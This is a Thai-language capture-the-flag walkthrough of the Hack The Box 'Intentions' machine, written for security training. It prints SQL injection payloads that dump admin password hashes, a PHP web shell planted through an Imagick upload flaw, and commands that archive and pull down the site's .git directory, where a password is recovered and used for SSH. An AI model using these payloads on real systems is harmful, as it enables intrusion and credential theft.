สวัสดีครับ วันนี้เราจะมาทำ Lab ของ HTB (Hack The Box) ข้อ Intentions ซึ่งเป็นโจทย์ระดับ Hard และมี OS (Operation System) เป็น Linux และก่อนที่เราจะเล่น Lab นี้จะต้องทำการ Connect VPN ของ Hack The Box ก่อนนะครับ ไปเริ่มกันกันเลยครับบ
Source: https://app.hackthebox.com/machines/Intentions
เมื่อผู้อ่านทำการ set up เพื่อจะทำ Labs เรียบร้อยแล้ว เรามาเริ่มกันเลยครับ
ในส่วนนี้ ผู้เขียนจะใช้เครื่องมือ nmap โดยในส่วนนี้จะเป็นการสแกนเพื่อค้นหา Port / Service ที่เครื่องเซิร์ฟเวอร์ใช้งานอยู่ โดยจะทำการค้นหาทุกพอร์ต และดู OS ที่เป้าหมายใช้งานอยู่ เพื่อมาทำการวิเคราะห์ว่ามีช่องทางไหนให้เราสามารถโจมตีได้บ้าง โดยคำสั่งที่ใช้ทำการสแกนมีดังนี้
nmap <ip เครื่องเป้าหมาย> -p- -A
เราจะเห็นได้ว่า เครื่องเป้าหมาย เปิด port 80 และ 22 หรือ ssh และ http นั่นเอง
จากนั้น เราจะลองเข้าสู่เว็บแอปพลิเคชันผ่าน service http กัน
พบว่าสามารถเข้าสู่เว็บไซต์ได้ ซึ่งดูเหมือนจะเป็นเว็บไซต์เกี่ยวกับ Gallery
ต่อไปเราจะทำการสมัครเข้าสู่เว็บไซต์ที่แถบ Register
เมื่อสมัครเสร็จแล้ว ก็ลงชื่อเข้าใช้งาน
เมื่อเข้าสู่ระบบได้แล้ว จะพบว่าเป็นหน้าเว็บไซต์แสดงรูปภาพหรือ Gallery ครับ
จากนั้น ให้เราลองเล่นเว็บไซต์ โดยจะประกอบด้วยเมนู News ไว้ใช้ในแสดงข่าว, Gallery แสดงรูปภาพ, Your Feed แสดงรูปภาพที่เราสนใจและเมนู Your Profile ให้จัดการโปรไฟล์
เราจะมาดูกันในส่วนของ Your Profile ในส่วนของ Favorite Genres
ซึ่งเมื่อเราลองทำการแก้ไขหมวดหมู่รูปภาพใน Favorite Genres จะพบว่ารูปภาพที่เราสนใจที่จะแสดงในหน้า Your Feed เช่น ถ้าเราใส่ Favorite Genres แค่ animals จะพบว่ารูปภาพที่อยู่ใน Your Feed ก็จะแสดงแค่ประเภท animals
จากนั้นเราจะทดลอง SQL Injection ใส่ตำแหน่ง Favorite Genres และดู error ในเมนู Your Feed โดยเราจะใช้การคอมเม้นข้อความแทนการเว้นวรรค เพื่อให้ระบบนำข้อมูลของเราไปประมวลผล
ซึ่งหากเราใช้เว้นวรรค ผลลัพธ์ที่ได้จะเป็นการพิมพ์ข้อความต่อกัน (ถูก filter ไว้) หรือนั่นคือ text ที่เราป้อนเข้าไปจะถูกแก้ไขนั่นเอง
จะถูกแก้ไขเป็น
และถ้าหากประเภทของรูปภาพไม่มีอยู่ในระบบหรือ syntax ของ SQL ไม่ถูกต้อง ที่หน้า Your Feed จะไม่แสดงรูปภาพใดๆ
ซึ่งเมื่อ payload เราถูกต้อง จะพบว่าที่หน้า Your Feed จะแสดงรูปภาพทุกประเภทที่มีอยู่ในระบบ ดังนี้
ผลลัพธ์ที่ได้คือ หน้า Your Feed แสดงรูปภาพทุกประเภทที่มี ซึ่งหมายความว่าตรงส่วนนี้มีช่องโหว่ SQL Injection
ซึ่งเมื่อเราดูผ่าน Burp suite หรือเครื่องมือ Intercepting Proxy พบว่ามีข้อมูลตอบกลับมา 6 parameters ประกอบด้วย
- Id
- file
- genre
- created_at
- updated_at
- url
ต่อไป เราจะทำการหาชื่อของ Database โดยเราจะใช้การ union select เพื่อรวมผลลัพธ์ของ SQL จากตารางอื่น การใส่ค่า null เข้าไปในคำสั่ง UNION SELECT เป็นเทคนิคที่ใช้ในการจัดการคอลัมน์ที่ไม่ตรงกันในคำสั่ง SELECT ที่แตกต่างกัน โดยใส่ null เพื่อให้จำนวนคอลัมน์ในผลลัพธ์ที่เรียกดู (result set) เท่ากันกับจำนวนคอลัมน์ในคำสั่ง SELECT ที่ต้องการเรียกใช้จริง ซึ่งช่วยให้การรวมผลลัพธ์กันเป็นไปได้ โดยเราจะใส่ database() ที่ส่วนที่สองของการ select เพื่อให้ SQL แสดงชื่อ database ที่ใช้อยู่แสดงออกมายัง HTTP Response
ซึ่งหากเราใส่ null จนครบทุกคอลัมน์ จะพบว่าคอลัมน์ url นั้น ไม่ได้ถูกดึงมาจาก database จึงสรุปได้ว่า ใช้การ union select จำนวน 5 คอลัมน์ และใส่ database() เพื่อให้แสดงชื่อของ database ในคอลัมน์ที่มีชนิดเดียวกันกับคอลัมน์ที่ต้องการคือชื่อของ database นั่นคือ คอลัมน์ที่สอง ดังนั้นเราจะใช้คำสั่ง SQL
‘)/**/union/**/select/**/null, database(),null,null,null#
เมื่อเราดูที่หน้า Your Feed จะได้เป็นหน้า error รูปภาพ
ดูผ่าน Burp suite จะเห็นว่าข้อมูลที่แสดงออกมาในช่อง “file” ซึ่งเป็นชื่อของ Database :
ในขั้นตอนต่อไป เราจะค้นหา table ที่อยู่ใน Database ชื่อ Intentions โดยการใช้คำสั่งในการค้นหา table โดยเราจะค้นหาจาก information_schema ซึ่งเป็นฐานข้อมูลพิเศษในระบบฐานข้อมูล MySQL ที่มีหน้าที่เก็บข้อมูลเกี่ยวกับเค้าโครงของฐานข้อมูลภายใน MySQL เอง เช่น ตาราง (tables), คอลัมน์ (columns) และใช้ where เพื่อระบุว่าค้นหาแค่เฉพาะ table ภายใน database ชื่อ intentions
‘)/**/union/**/select/**/null,table_name,null,null,null/**/from/**/information_schema.tables/**/where/**/table_schema/**/=/**/’intentions’#
จะได้ผลลัพธ์ดังนี้ (ไปที่หน้า Your Feed และดูผ่าน HTTP Response ใน Burp Suite)
โดย tables ใน Database Intentions นี้จะประกอบด้วย
- gallery_images
- personal_access_tokens
- migrations
- users
จากนั้นเราจะดู column ที่อยู่ใน Table Users เพื่อค้นหา username password
คำสั่งในการค้นหา columns โดยใช้ข้อมูลจาก information_schema.column
‘)/**/union/**/select/**/null,column_name,null,null,null/**/from/**/information_schema.columns/**/where/**/table_schema/**/=/**/’intentions’#
เราจะได้ข้อมูล column ที่อยู่ใน table Users
โดยจะประกอบด้วย 17 columns ดังนี้
- id
- file
- genre
- created_at
- updated_at
- tokenable_type
- tokenable_id
- name
- token
- abilities
- last_used_at
- migration
- batch
- password
- admin
- genr
จะสังเกตุได้ว่า column ที่ 14,15,16 เป็น email, password และสถานะ admin ซึ่งอาจจะเป็นประโยชน์กับเรา ให้เราเข้าไปดูข้อมูลที่อยู่ใน table นี้กัน
โดยเราจะหาเฉพาะ คนที่มีสิทธิ์ Admin โดยเราจะใช้ group_concat มาใช้ในการรวมค่าในแถวให้เป็น string เดียวกัน
‘)/**/union/**/select/**/null,group_concat(email,password,admin),null,null,null/**/from/**/users/**/where/**/admin/**/=/**/’1'#
มี 2 users ที่มีสิทธิ์เป็น Admin คือ steve และ greg
Email : steve@intentions.htb
Hash : $2y$10$M/g27T1kJcOpYOfPqQlI3.YfdLIwr3EWbzWOLfpoTtjpeMqpp4twa
Email : greg@intentions.htb
Hash : $2y$10$95OR7nHSkYuFUUxsT1KS6uoQ93aufmrpknz4jwRqzIbsUpRiiyU5m
จากนั้นเราจะใช้ เครื่องมือ dirsearch เพื่อหา Directory หรือ File ที่มีอยู่บนเว็บไซต์เพื่อทำการเก็บข้อมูลเพิ่มเติม สำหรับการโจมตีระบบต่อไป โดยใช้คำสั่งดังนี้
dirsearch -u <IP/Hostname>
ซึ่งเราจะพบพาธ /js จากการค้นหาไฟล์ภายในเว็บไซต์ด้วยขั้นตอนก่อนหน้า ต่อไปเราจะค้นหาไฟล์ javascript ที่อยู่บนเว็บไซต์นี้ จะใช้ extension js หรือ -e เพื่อระบุ ว่าค้นหาไฟล์ javascript โดยคำสั่งที่ใช้งานมีดังนี้
dirsearch -u <IP / Hostname>/js -e js
ซึ่งเราจะพบไฟล์ /js/admin.js ซึ่งมีข้อมูลที่บอกว่า มีที่อยู่ของ api เวอร์ชั่น 2 คือ /api/v2/
เราจะลองเข้าใช้งานที่อยู่ดังกล่าว คือ /api/v2/auth/login
และในส่วน body ให้เราใส่ email และ hash ที่เราได้จากช่องโหว่ sql injection (หากเราใช้ email และ password ของ parameter ที่มีอยู่ของ http request เดิม จะพบว่า HTTP response จะ require hash แทน password)
เราจะพบว่าสามารถเข้าใช้งานด้วยชื่อผู้ใช้งาน steve ได้
จากขั้นตอนก่อนหน้าเราพบ /admin อยู่ เราจะลองเข้าไปยังที่อยู่นั้นกัน
เมื่อเราลองเล่นเว็บไซต์ดู จะพบว่าที่เมนู Images นั้น มีข้อมูล ที่เก็บไฟล์รูปภาพ หมวดหมู่ของรูป และ url ของไฟล์ภาพนั้นๆ
เมื่อกดปุ่ม edit จะพบฟังก์ชันในการแก้ไขรูปภาพ เป็นฟังก์ชันให้สามารถแก้ไขรูปภาพได้บนหน้าเว็บไซต์ โดยประกอบไปด้วย 4 ฟังก์ชันแก้ไข คือ charcoal, wave, swirl และ sepia
ซึ่งเมื่อเราดูรายละเอียดในไฟล์ js จะพบว่า มีการเรียกใช้ Imagick module ของ PHP
ซึ่ง module ดังกล่าวนั้น มีช่องโหว่ที่ให้เราสามารถอัปโหลดไฟล์ไปยังเครื่องเป้าหมายได้ จากนั้นเราจะเขียนไฟล์ shell ไปยังระบบ โดยเราจะเขียน webshell ที่เป็นไฟล์ php ดังนี้
ให้เรานำ HTTP request เมื่อเราแก้ไขรูปภาพ ที่มี path คือ /api/v2/admin/image/modify
จากนั้นส่ง parameter ทาง url
และแก้ไข body ให้ส่งเป็น multipart เพื่อใช้ในการส่งข้อมูลหลายๆ รูปแบบ
ต่อไปจะใช้โค้ด PHP ที่ใช้งานฟังก์ชัน system เพื่อรันคำสั่งที่รับมาจากพารามิเตอร์ $_GET[‘a’] ซึ่งเป็นการรันคำสั่งภายในระบบปฏิบัติการผ่าน URL parameters ในที่นี้คือ a.
<?php system($_GET[‘a’]); ?>
แต่ให้เรา encode < และ > (เครื่องหมายมากกว่าและเครื่องหมายน้อยกว่า) ให้อยู่ในรูปแปปของ html encode นั่นคือ < เท่ากับ < และ > เท่ากับ >
เมื่อเราอัปไฟล์ไปแล้ว HTTP Response จะแจ้งสถานะเป็น 502 Bad Gateway ให้เราทำการเรียกใช้งานไฟล์นั้น โดยเข้าไปยังไฟล์นั้น ในที่นี้ให้ชื่อเป็น sploit.php ตามด้วย parameter ที่เราใส่ไปยังไฟล์ และตามด้วยคำสั่ง command line ดังนี้
sploit.php?a=ls
เมื่อเราทดลองเข้าถึงไฟล์ที่เราอัปโหลดขึ้นไป จะพบว่าเราสามารถใช้งานคำสั่งเพื่อให้ระบบแสดงข้อมูลได้
จากนั้นให้เราดูไฟล์ที่อยู่ใน directory ก่อนหน้า โดยใช้คำสั่ง
cd ../;ls -la
เราจะพบไฟล์ดังนี้
ให้เราลองดูที่โฟลเดอร์ .git
จากนั้นให้เราบีบอัดไฟล์ .git โดยคำสั่งที่ใช้บีบอัดไฟล์จะใช้เครื่องมือ tar ตามด้วย
-c สร้างแฟ้มข้อมูลใหม่ (create) โดยจะกำหนดไฟล์หรือ directory ที่ต้องการจัดเก็บไฟล์ข้อมูล
-v แสดงข้อความของการดำเนินการ
-f ระบุชื่อไฟล์ใหม่ที่ต้องการสร้าง ดังนี้
tar -cvf <new_file_name> <directory>
เมื่อเราลองใช้คำสั่ง list file ใน directory ปัจจุบัน จะพบไฟล์ที่เราบีบอัดอยู่
จากนั้นจะนำเครื่อง host ของเราโหลดไฟล์ git.tar มายังเครื่องของเราเพื่อทำการวิเคราะห์
wget <hostname>/file_path
จากนั้นทำการแตกไฟล์ และดูไฟล์ภายใน
เมื่อเข้ามายังโฟลเดอร์ .git แล้ว ให้ทำการพิมพ์คำสั่งเพื่อดูไฟล์ log ที่แสดงรายการประวัติที่ commit เข้าไป โดยใช้คำสั่ง
git log
ให้เราดูรายการ commit 36b4287cf2fb356d868e71dc1ac90fc8fa99d319 โดยใช้คำสั่ง
git show 36b4287cf2fb356d868e71dc1ac90fc8fa99d319
จะพบว่ามีข้อมูล email, password อยู่ในประวัติการ commit ของ git
จากนั้นเราจะนำ username คือ greg และ password นั้น ไปใช้ในการเข้าสู่ระบบผ่าน service ssh
ซึ่งเมื่อเข้าแล้วเราจะพบไฟล์ user.txt ให้เราจะทำการอ่านไฟล์ user.txt โดยใช้คำสั่ง
cat user.txt
สำหรับ Labs นี้ ผมขอจบไว้เท่านี้ก่อนนะครับ เดี๋ยวเนื้อหาจะยาวเกินไป ไว้คราวหน้า เรามาทำต่อกันในส่วนของยกระดับสิทธิ์และรับ flag ของ root.txt ครับ
หากผิดพลาดประการใดทางผู้เขียนขออภัยไว้ ณ ที่นี้ด้วยนะครับ สำหรับวันนี้ สวัสดีครับ
Reference
- https://app.hackthebox.com/machines/Intentions
- https://portswigger.net/burp/communitydownload
- https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/
- https://emn178.github.io/online-tools/html_encode.html
- https://github.com/maurosoria/dirsearch
- https://www.acunetix.com/blog/articles/web-shells-101-using-php-introduction-web-shells-part-2/
- https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b#vid-parser-+-file-upload